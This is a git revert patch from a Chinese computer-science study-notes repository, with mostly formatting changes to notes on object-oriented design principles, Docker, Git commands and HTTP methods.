+> 高层模块不应该依赖于低层模块，二者都应该依赖于抽象；</br>抽象不应该依赖于细节，细节应该依赖于抽象。
 
 高层模块包含一个应用程序中重要的策略选择和业务模块，如果高层模块依赖于低层模块，那么低层模块的改动就会直接影响到高层模块，从而迫使高层模块也需要改动。
 
 依赖于抽象意味着：
 
-- 任何变量都不应该持有一个指向具体类的指针或者引用；
-- 任何类都不应该从具体类派生；
-- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
+- 任何变量都不应该持有一个指向具体类的指针或者引用；
+- 任何类都不应该从具体类派生；
+- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
 
-## 其他常见原则
+## 其他常见原则
 
 除了上述的经典原则，在实际开发中还有下面这些常见的设计原则。
 
-| 简写    | 全拼    | 中文翻译 |
-| :--: | :--: | :--: |
-|LOD|    The Law of Demeter                   | 迪米特法则   |
-|CRP|    The Composite Reuse Principle        | 合成复用原则 |
-|CCP|    The Common Closure Principle         | 共同封闭原则 |
-|SAP|    The Stable Abstractions Principle    | 稳定抽象原则 |
-|SDP|    The Stable Dependencies Principle    | 稳定依赖原则 |
+| 简写    | 全拼    | 中文翻译 |
+| :--: | :--: | :--: |
+|LOD|    The Law of Demeter                   | 迪米特法则   |
+|CRP|    The Composite Reuse Principle        | 合成复用原则 |
+|CCP|    The Common Closure Principle         | 共同封闭原则 |
+|SAP|    The Stable Abstractions Principle    | 稳定抽象原则 |
+|SDP|    The Stable Dependencies Principle    | 稳定依赖原则 |
 
-### 1. 迪米特法则
+### 1. 迪米特法则
 
-迪米特法则又叫作最少知识原则（Least Knowledge Principle，简写 LKP），就是说一个对象应当对其他对象有尽可能少的了解，不和陌生人说话。
+迪米特法则又叫作最少知识原则（Least Knowledge Principle，简写 LKP），就是说一个对象应当对其他对象有尽可能少的了解，不和陌生人说话。
 
-### 2. 合成复用原则
+### 2. 合成复用原则
 
 尽量使用对象组合，而不是通过继承来达到复用的目的。
 
-### 3. 共同封闭原则
+### 3. 共同封闭原则
 
 一起修改的类，应该组合在一起（同一个包里）。如果必须修改应用程序里的代码，我们希望所有的修改都发生在一个包里（修改关闭），而不是遍布在很多包里。
 
-### 4. 稳定抽象原则
+### 4. 稳定抽象原则
 
 最稳定的包应该是最抽象的包，不稳定的包应该是具体的包，即包的抽象程度跟它的稳定性成正比。
 
-### 5. 稳定依赖原则
+### 5. 稳定依赖原则
 
 包之间的依赖关系都应该是稳定方向依赖的，包要依赖的包要比自己更具有稳定性。
 
-# 参考资料
+# 参考资料
 
-- Java 编程思想
-- 敏捷软件开发：原则、模式与实践
-- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
-- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
-- [UML 系列——时序图（顺序图）sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
-- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)
+- Java 编程思想
+- 敏捷软件开发：原则、模式与实践
+- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
+- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
+- [UML 系列——时序图（顺序图）sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
+- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)

From 766936b4e196e569ae5f32bf27eb827f10f87ed3 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 24 Jan 2019 09:08:40 +0800
Subject: [PATCH 037/100] Revert "auto commit"

This reverts commit 315655827b0a8ad267a809ff2a883857e15b7f4b.
---
 docs/notes/Docker.md                 |   90 +-
 docs/notes/Git.md                    |  143 +-
 docs/notes/HTTP.md                   |  950 +--
 docs/notes/Java IO.md                |  708 +-
 docs/notes/Java 基础.md              | 1439 +++--
 docs/notes/Java 容器.md              | 1456 ++---
 docs/notes/Java 并发.md              | 1809 +++---
 docs/notes/Java 虚拟机.md            |  750 +--
 docs/notes/Leetcode 题解.md          | 8858 +++++++++++++-------------
 docs/notes/Leetcode-Database 题解.md |  904 +--
 docs/notes/Linux.md                  | 1262 ++--
 docs/notes/MySQL.md                  |  393 +-
 docs/notes/Redis.md                  |  720 ++-
 docs/notes/SQL.md                    |  767 +--
 docs/notes/Socket.md                 |  374 +-
 docs/notes/代码可读性.md             |  325 +-
 docs/notes/代码风格规范.md           |   11 +-
 docs/notes/分布式.md                 |  336 +-
 docs/notes/剑指 offer 题解.md        | 3561 ++++++-----
 docs/notes/攻击技术.md               |  152 +-
 docs/notes/数据库系统原理.md         |  577 +-
 docs/notes/构建工具.md               |  147 +-
 docs/notes/正则表达式.md             |  346 +-
 docs/notes/消息队列.md               |   62 +-
 docs/notes/算法.md                   | 2939 +++++----
 docs/notes/系统设计基础.md           |   73 +-
 docs/notes/缓存.md                   |  307 +-
 docs/notes/计算机操作系统.md         | 1092 ++--
 docs/notes/计算机网络.md             |  898 +--
 docs/notes/设计模式.md               | 3579 ++++++-----
 docs/notes/集群.md                   |  152 +-
 docs/notes/面向对象思想.md           |  342 +-
 32 files changed, 18091 insertions(+), 17431 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index ffbadb83..1c200848 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,86 +1,92 @@
-# 一、解决的问题
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、解决的问题](#一解决的问题)
+* [二、与虚拟机的比较](#二与虚拟机的比较)
+* [三、优势](#三优势)
+* [四、使用场景](#四使用场景)
+* [五、镜像与容器](#五镜像与容器)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、解决的问题
 
 由于不同的机器有不同的操作系统，以及不同的库和组件，在将一个应用部署到多台机器上需要进行大量的环境配置操作。
 
-Docker 主要解决环境配置问题，它是一种虚拟化技术，对进程进行隔离，被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码，不需要开发人员学习特定环境下的技术，就能够将现有的应用程序部署在其他机器中。
+Docker 主要解决环境配置问题，它是一种虚拟化技术，对进程进行隔离，被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码，不需要开发人员学习特定环境下的技术，就能够将现有的应用程序部署在其他机器中。
 
-<img src="pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png" width="400px"/>
+<div align="center"> <img src="pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png" width="400px"/> </div><br>
 
-# 二、与虚拟机的比较
+# 二、与虚拟机的比较
 
-虚拟机也是一种虚拟化技术，它与 Docker 最大的区别在于它是通过模拟硬件，并在硬件上安装操作系统来实现。
+虚拟机也是一种虚拟化技术，它与 Docker 最大的区别在于它是通过模拟硬件，并在硬件上安装操作系统来实现。
 
-<img src="pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png" width="250px"/>
+<div align="center"> <img src="pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png" width="250px"/> </div><br>
 
-<img src="pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png" width="250"/>
+<div align="center"> <img src="pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png" width="250"/> </div><br>
 
-## 启动速度
+## 启动速度
 
 启动虚拟机需要启动虚拟机的操作系统，再启动应用，这个过程非常慢；
 
-而启动 Docker 相当于启动宿主操作系统上的一个进程。
+而启动 Docker 相当于启动宿主操作系统上的一个进程。
 
-## 占用资源
+## 占用资源
 
-虚拟机是一个完整的操作系统，需要占用大量的磁盘、内存和 CPU，一台机器只能开启几十个的虚拟机。
+虚拟机是一个完整的操作系统，需要占用大量的磁盘、内存和 CPU，一台机器只能开启几十个的虚拟机。
 
-而 Docker 只是一个进程，只需要将应用以及相关的组件打包，在运行时占用很少的资源，一台机器可以开启成千上万个 Docker。
+而 Docker 只是一个进程，只需要将应用以及相关的组件打包，在运行时占用很少的资源，一台机器可以开启成千上万个 Docker。
 
-# 三、优势
+# 三、优势
 
-除了启动速度快以及占用资源少之外，Docker 具有以下优势：
+除了启动速度快以及占用资源少之外，Docker 具有以下优势：
 
-## 更容易迁移
+## 更容易迁移
 
 提供一致性的运行环境，可以在不同的机器上进行迁移，而不用担心环境变化导致无法运行。
 
-## 更容易维护
+## 更容易维护
 
 使用分层技术和镜像，使得应用可以更容易复用重复部分。复用程度越高，维护工作也越容易。
 
-## 更容易扩展
+## 更容易扩展
 
 可以使用基础镜像进一步扩展得到新的镜像，并且官方和开源社区提供了大量的镜像，通过扩展这些镜像可以非常容易得到我们想要的镜像。
 
-# 四、使用场景
+# 四、使用场景
 
-## 持续集成
+## 持续集成
 
 持续集成指的是频繁地将代码集成到主干上，这样能够更快地发现错误。
 
-Docker 具有轻量级以及隔离性的特点，在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
+Docker 具有轻量级以及隔离性的特点，在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
 
-## 提供可伸缩的云服务
+## 提供可伸缩的云服务
 
-根据应用的负载情况，可以很容易地增加或者减少 Docker。
+根据应用的负载情况，可以很容易地增加或者减少 Docker。
 
-## 搭建微服务架构
+## 搭建微服务架构
 
-Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
+Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
 
-# 五、镜像与容器
+# 五、镜像与容器
 
 镜像是一种静态的结构，可以看成面向对象里面的类，而容器是镜像的一个实例。
 
-镜像包含着容器运行时所需要的代码以及其它组件，它是一种分层结构，每一层都是只读的（read-only layers）。构建镜像时，会一层一层构建，前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
+镜像包含着容器运行时所需要的代码以及其它组件，它是一种分层结构，每一层都是只读的（read-only layers）。构建镜像时，会一层一层构建，前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
 
-构建容器时，通过在镜像的基础上添加一个可写层（writable layer），用来保存着容器运行过程中的修改。
+构建容器时，通过在镜像的基础上添加一个可写层（writable layer），用来保存着容器运行过程中的修改。
 
-![](pics/docker-filesystems-busyboxrw.png)
+<div align="center"> <img src="pics/docker-filesystems-busyboxrw.png"/> </div><br>
 
-# 参考资料
+# 参考资料
 
-- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
-- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
-- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
-- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
-- [理解 Docker（2）：Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
-- [为什么要使用 Docker？](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
-- [What is Docker](https://www.docker.com/what-docker)
-- [持续集成是什么？](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
+- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
+- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
+- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
+- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
+- [理解 Docker（2）：Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
+- [为什么要使用 Docker？](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
+- [What is Docker](https://www.docker.com/what-docker)
+- [持续集成是什么？](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
 
----bottom---CyC---
-![](pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png)
-![](pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png)
-![](pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png)
-![](pics/docker-filesystems-busyboxrw.png)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index 0c6a29fa..a594d197 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,6 +1,23 @@
-# 集中式与分布式
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [集中式与分布式](#集中式与分布式)
+* [中心服务器](#中心服务器)
+* [工作流](#工作流)
+* [分支实现](#分支实现)
+* [冲突](#冲突)
+* [Fast forward](#fast-forward)
+* [分支管理策略](#分支管理策略)
+* [储藏（Stashing）](#储藏stashing)
+* [SSH 传输设置](#ssh-传输设置)
+* [.gitignore 文件](#gitignore-文件)
+* [Git 命令一览](#git-命令一览)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-Git 属于分布式版本控制系统，而 SVN 属于集中式。
+
+# 集中式与分布式
+
+Git 属于分布式版本控制系统，而 SVN 属于集中式。
 
 集中式版本控制只有中心服务器拥有一份代码，而分布式版本控制每个人的电脑上就有一份完整的代码。
 
@@ -10,133 +27,133 @@ Git 属于分布式版本控制系统，而 SVN 属于集中式。
 
 分布式版本控制新建分支、合并分支操作速度非常快，而集中式版本控制新建一个分支相当于复制一份完整代码。
 
-# 中心服务器
+# 中心服务器
 
-中心服务器用来交换每个用户的修改，没有中心服务器也能工作，但是中心服务器能够 24 小时保持开机状态，这样就能更方便的交换修改。
+中心服务器用来交换每个用户的修改，没有中心服务器也能工作，但是中心服务器能够 24 小时保持开机状态，这样就能更方便的交换修改。
 
-Github 就是一个中心服务器。
+Github 就是一个中心服务器。
 
-# 工作流
+# 工作流
 
-![](index_files/a1198642-9159-4d88-8aec-c3b04e7a2563.jpg)
+<div align="center"> <img src="pics/a1198642-9159-4d88-8aec-c3b04e7a2563.jpg"/> </div><br>
 
-新建一个仓库之后，当前目录就成为了工作区，工作区下有一个隐藏目录 .git，它属于 Git 的版本库。
+新建一个仓库之后，当前目录就成为了工作区，工作区下有一个隐藏目录 .git，它属于 Git 的版本库。
 
-Git 版本库有一个称为 stage 的暂存区，还有自动创建的 master 分支以及指向分支的 HEAD 指针。
+Git 版本库有一个称为 stage 的暂存区，还有自动创建的 master 分支以及指向分支的 HEAD 指针。
 
-![](index_files/46f66e88-e65a-4ad0-a060-3c63fe22947c.png)
+<div align="center"> <img src="pics/46f66e88-e65a-4ad0-a060-3c63fe22947c.png"/> </div><br>
 
-- git add files 把文件的修改添加到暂存区
-- git commit 把暂存区的修改提交到当前分支，提交之后暂存区就被清空了
-- git reset -- files 使用当前分支上的修改覆盖暂存区，用来撤销最后一次 git add files
-- git checkout -- files 使用暂存区的修改覆盖工作目录，用来撤销本地修改
+- git add files 把文件的修改添加到暂存区
+- git commit 把暂存区的修改提交到当前分支，提交之后暂存区就被清空了
+- git reset -- files 使用当前分支上的修改覆盖暂存区，用来撤销最后一次 git add files
+- git checkout -- files 使用暂存区的修改覆盖工作目录，用来撤销本地修改
 
-![](index_files/17976404-95f5-480e-9cb4-250e6aa1d55f.png)
+<div align="center"> <img src="pics/17976404-95f5-480e-9cb4-250e6aa1d55f.png"/> </div><br>
 
 可以跳过暂存区域直接从分支中取出修改，或者直接提交修改到分支中。
 
-- git commit -a 直接把所有文件的修改添加到暂存区然后执行提交
-- git checkout HEAD -- files 取出最后一次修改，可以用来进行回滚操作
+- git commit -a 直接把所有文件的修改添加到暂存区然后执行提交
+- git checkout HEAD -- files 取出最后一次修改，可以用来进行回滚操作
 
-# 分支实现
+# 分支实现
 
-使用指针将每个提交连接成一条时间线，HEAD 指针指向当前分支指针。
+使用指针将每个提交连接成一条时间线，HEAD 指针指向当前分支指针。
 
-![](index_files/fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg)
+<div align="center"> <img src="pics/fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg"/> </div><br>
 
-新建分支是新建一个指针指向时间线的最后一个节点，并让 HEAD 指针指向新分支表示新分支成为当前分支。
+新建分支是新建一个指针指向时间线的最后一个节点，并让 HEAD 指针指向新分支表示新分支成为当前分支。
 
-![](index_files/bc775758-89ab-4805-9f9c-78b8739cf780.jpg)
+<div align="center"> <img src="pics/bc775758-89ab-4805-9f9c-78b8739cf780.jpg"/> </div><br>
 
 每次提交只会让当前分支指针向前移动，而其它分支指针不会移动。
 
-![](index_files/5292faa6-0141-4638-bf0f-bb95b081dcba.jpg)
+<div align="center"> <img src="pics/5292faa6-0141-4638-bf0f-bb95b081dcba.jpg"/> </div><br>
 
 合并分支也只需要改变指针即可。
 
-![](index_files/1164a71f-413d-494a-9cc8-679fb6a2613d.jpg)
+<div align="center"> <img src="pics/1164a71f-413d-494a-9cc8-679fb6a2613d.jpg"/> </div><br>
 
-# 冲突
+# 冲突
 
 当两个分支都对同一个文件的同一行进行了修改，在分支合并时就会产生冲突。
 
-![](index_files/58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg)
+<div align="center"> <img src="pics/58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg"/> </div><br>
 
-Git 会使用 <<<<<<< ，======= ，>>>>>>> 标记出不同分支的内容，只需要把不同分支中冲突部分修改成一样就能解决冲突。
+Git 会使用 <<<<<<< ，======= ，>>>>>>> 标记出不同分支的内容，只需要把不同分支中冲突部分修改成一样就能解决冲突。
 
 ```
-<<<<<<< HEAD
-Creating a new branch is quick & simple.
+<<<<<<< HEAD
+Creating a new branch is quick & simple.
 =======
-Creating a new branch is quick AND simple.
->>>>>>> feature1
+Creating a new branch is quick AND simple.
+>>>>>>> feature1
 ```
 
-# Fast forward
+# Fast forward
 
-"快进式合并"（fast-farward merge），会直接将 master 分支指向合并的分支，这种模式下进行分支合并会丢失分支信息，也就不能在分支历史上看出分支信息。
+"快进式合并"（fast-farward merge），会直接将 master 分支指向合并的分支，这种模式下进行分支合并会丢失分支信息，也就不能在分支历史上看出分支信息。
 
-可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式，并且加上 -m 参数让合并时产生一个新的 commit。
+可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式，并且加上 -m 参数让合并时产生一个新的 commit。
 
 ```
-$ git merge --no-ff -m "merge with no-ff" dev
+$ git merge --no-ff -m "merge with no-ff" dev
 ```
 
-![](index_files/dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg)
+<div align="center"> <img src="pics/dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg"/> </div><br>
 
-# 分支管理策略
+# 分支管理策略
 
-master 分支应该是非常稳定的，只用来发布新版本；
+master 分支应该是非常稳定的，只用来发布新版本；
 
-日常开发在开发分支 dev 上进行。
+日常开发在开发分支 dev 上进行。
 
-![](index_files/245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg)
+<div align="center"> <img src="pics/245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg"/> </div><br>
 
-# 储藏（Stashing）
+# 储藏（Stashing）
 
 在一个分支上操作之后，如果还没有将修改提交到分支上，此时进行切换分支，那么另一个分支上也能看到新的修改。这是因为所有分支都共用一个工作区的缘故。
 
-可以使用 git stash 将当前分支的修改储藏起来，此时当前工作区的所有修改都会被存到栈上，也就是说当前工作区是干净的，没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
+可以使用 git stash 将当前分支的修改储藏起来，此时当前工作区的所有修改都会被存到栈上，也就是说当前工作区是干净的，没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
 
 ```
-$ git stash
-Saved working directory and index state \ "WIP on master: 049d078 added the index file"
-HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
+$ git stash
+Saved working directory and index state \ "WIP on master: 049d078 added the index file"
+HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
 ```
 
-该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发，但是此时 master 上有个 bug 需要修复，但是 dev 分支上的开发还未完成，不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。
+该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发，但是此时 master 上有个 bug 需要修复，但是 dev 分支上的开发还未完成，不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。
 
-# SSH 传输设置
+# SSH 传输设置
 
-Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。
+Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。
 
-如果工作区下没有 .ssh 目录，或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件，可以通过以下命令来创建 SSH Key：
+如果工作区下没有 .ssh 目录，或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件，可以通过以下命令来创建 SSH Key：
 
 ```
-$ ssh-keygen -t rsa -C "youremail@example.com"
+$ ssh-keygen -t rsa -C "youremail@example.com"
 ```
 
-然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。
+然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。
 
-# .gitignore 文件
+# .gitignore 文件
 
 忽略以下文件：
 
-- 操作系统自动生成的文件，比如缩略图；
-- 编译生成的中间文件，比如 Java 编译产生的 .class 文件；
-- 自己的敏感信息，比如存放口令的配置文件。
+- 操作系统自动生成的文件，比如缩略图；
+- 编译生成的中间文件，比如 Java 编译产生的 .class 文件；
+- 自己的敏感信息，比如存放口令的配置文件。
 
-不需要全部自己编写，可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
+不需要全部自己编写，可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
 
-# Git 命令一览
+# Git 命令一览
 
-![](index_files/7a29acce-f243-4914-9f00-f2988c528412.jpg)
+<div align="center"> <img src="pics/7a29acce-f243-4914-9f00-f2988c528412.jpg"/> </div><br>
 
 比较详细的地址：http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf
 
-# 参考资料
+# 参考资料
 
-- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
-- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
-- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
-- [Learn Git Branching](https://learngitbranching.js.org/)
+- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
+- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
+- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
+- [Learn Git Branching](https://learngitbranching.js.org/)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index aa833d6f..67bc68ad 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,842 +1,884 @@
-# 一 、基础概念
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一 、基础概念](#一-基础概念)
+    * [URI](#uri)
+    * [请求和响应报文](#请求和响应报文)
+* [二、HTTP 方法](#二http-方法)
+    * [GET](#get)
+    * [HEAD](#head)
+    * [POST](#post)
+    * [PUT](#put)
+    * [PATCH](#patch)
+    * [DELETE](#delete)
+    * [OPTIONS](#options)
+    * [CONNECT](#connect)
+    * [TRACE](#trace)
+* [三、HTTP 状态码](#三http-状态码)
+    * [1XX 信息](#1xx-信息)
+    * [2XX 成功](#2xx-成功)
+    * [3XX 重定向](#3xx-重定向)
+    * [4XX 客户端错误](#4xx-客户端错误)
+    * [5XX 服务器错误](#5xx-服务器错误)
+* [四、HTTP 首部](#四http-首部)
+    * [通用首部字段](#通用首部字段)
+    * [请求首部字段](#请求首部字段)
+    * [响应首部字段](#响应首部字段)
+    * [实体首部字段](#实体首部字段)
+* [五、具体应用](#五具体应用)
+    * [连接管理](#连接管理)
+    * [Cookie](#cookie)
+    * [缓存](#缓存)
+    * [内容协商](#内容协商)
+    * [内容编码](#内容编码)
+    * [范围请求](#范围请求)
+    * [分块传输编码](#分块传输编码)
+    * [多部分对象集合](#多部分对象集合)
+    * [虚拟主机](#虚拟主机)
+    * [通信数据转发](#通信数据转发)
+* [六、HTTPs](#六https)
+    * [加密](#加密)
+    * [认证](#认证)
+    * [完整性保护](#完整性保护)
+    * [HTTPs 的缺点](#https-的缺点)
+* [七、HTTP/2.0](#七http20)
+    * [HTTP/1.x 缺陷](#http1x-缺陷)
+    * [二进制分帧层](#二进制分帧层)
+    * [服务端推送](#服务端推送)
+    * [首部压缩](#首部压缩)
+* [八、HTTP/1.1 新特性](#八http11-新特性)
+* [九、GET 和 POST 比较](#九get-和-post-比较)
+    * [作用](#作用)
+    * [参数](#参数)
+    * [安全](#安全)
+    * [幂等性](#幂等性)
+    * [可缓存](#可缓存)
+    * [XMLHttpRequest](#xmlhttprequest)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## URI
 
-URI 包含 URL 和 URN。
+# 一 、基础概念
 
-- URI（Uniform Resource Identifier，统一资源标识符）
-- URL（Uniform Resource Locator，统一资源定位符）
-- URN（Uniform Resource Name，统一资源名称）
+## URI
 
-<img src="index_files/766d401b-3cf6-475c-8ced-ea8c8db8edc5.png" width="700"/>
+URI 包含 URL 和 URN。
 
-## 请求和响应报文
+- URI（Uniform Resource Identifier，统一资源标识符）
+- URL（Uniform Resource Locator，统一资源定位符）
+- URN（Uniform Resource Name，统一资源名称）
 
-### 1. 请求报文
+<div align="center"> <img src="pics/766d401b-3cf6-475c-8ced-ea8c8db8edc5.png" width="700"/> </div><br>
 
-<img src="index_files/HTTP_RequestMessageExample.png" width=""/>
+## 请求和响应报文
 
-### 2. 响应报文
+### 1. 请求报文
 
-<img src="index_files/HTTP_ResponseMessageExample.png" width=""/>
+<div align="center"> <img src="pics/HTTP_RequestMessageExample.png" width=""/> </div><br>
 
-# 二、HTTP 方法
+### 2. 响应报文
 
-客户端发送的 **请求报文** 第一行为请求行，包含了方法字段。
+<div align="center"> <img src="pics/HTTP_ResponseMessageExample.png" width=""/> </div><br>
 
-## GET
+# 二、HTTP 方法
 
-> 获取资源
+客户端发送的  **请求报文**  第一行为请求行，包含了方法字段。
 
-当前网络请求中，绝大部分使用的是 GET 方法。
+## GET
 
-## HEAD
+> 获取资源
 
-> 获取报文首部
+当前网络请求中，绝大部分使用的是 GET 方法。
 
-和 GET 方法类似，但是不返回报文实体主体部分。
+## HEAD
 
-主要用于确认 URL 的有效性以及资源更新的日期时间等。
+> 获取报文首部
 
-## POST
+和 GET 方法类似，但是不返回报文实体主体部分。
 
-> 传输实体主体
+主要用于确认 URL 的有效性以及资源更新的日期时间等。
 
-POST 主要用来传输数据，而 GET 主要用来获取资源。
+## POST
 
-更多 POST 与 GET 的比较请见第九章。
+> 传输实体主体
 
-## PUT
+POST 主要用来传输数据，而 GET 主要用来获取资源。
 
-> 上传文件
+更多 POST 与 GET 的比较请见第九章。
+
+## PUT
+
+> 上传文件
 
 由于自身不带验证机制，任何人都可以上传文件，因此存在安全性问题，一般不使用该方法。
 
 ```html
-PUT /new.html HTTP/1.1
-Host: example.com
-Content-type: text/html
-Content-length: 16
+PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
 
-<p>New File</p>
+<p>New File</p>
 ```
 
-## PATCH
+## PATCH
 
-> 对资源进行部分修改
+> 对资源进行部分修改
 
-PUT 也可以用于修改资源，但是只能完全替代原始资源，PATCH 允许部分修改。
+PUT 也可以用于修改资源，但是只能完全替代原始资源，PATCH 允许部分修改。
 
 ```html
-PATCH /file.txt HTTP/1.1
-Host: www.example.com
-Content-Type: application/example
-If-Match: "e0023aa4e"
-Content-Length: 100
+PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
 
-[description of changes]
+[description of changes]
 ```
 
-## DELETE
+## DELETE
 
-> 删除文件
+> 删除文件
 
-与 PUT 功能相反，并且同样不带验证机制。
+与 PUT 功能相反，并且同样不带验证机制。
 
 ```html
-DELETE /file.html HTTP/1.1
+DELETE /file.html HTTP/1.1
 ```
 
-## OPTIONS
+## OPTIONS
 
-> 查询支持的方法
+> 查询支持的方法
 
-查询指定的 URL 能够支持的方法。
+查询指定的 URL 能够支持的方法。
 
-会返回 `Allow: GET, POST, HEAD, OPTIONS` 这样的内容。
+会返回 `Allow: GET, POST, HEAD, OPTIONS` 这样的内容。
 
-## CONNECT
+## CONNECT
 
-> 要求在与代理服务器通信时建立隧道
+> 要求在与代理服务器通信时建立隧道
 
-使用 SSL（Secure Sockets Layer，安全套接层）和 TLS（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输。
+使用 SSL（Secure Sockets Layer，安全套接层）和 TLS（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输。
 
 ```html
-CONNECT www.example.com:443 HTTP/1.1
+CONNECT www.example.com:443 HTTP/1.1
 ```
 
-<img src="index_files/dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/>
+<div align="center"> <img src="pics/dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/> </div><br>
 
-## TRACE
+## TRACE
 
-> 追踪路径
+> 追踪路径
 
 服务器会将通信路径返回给客户端。
 
-发送请求时，在 Max-Forwards 首部字段中填入数值，每经过一个服务器就会减 1，当数值为 0 时就停止传输。
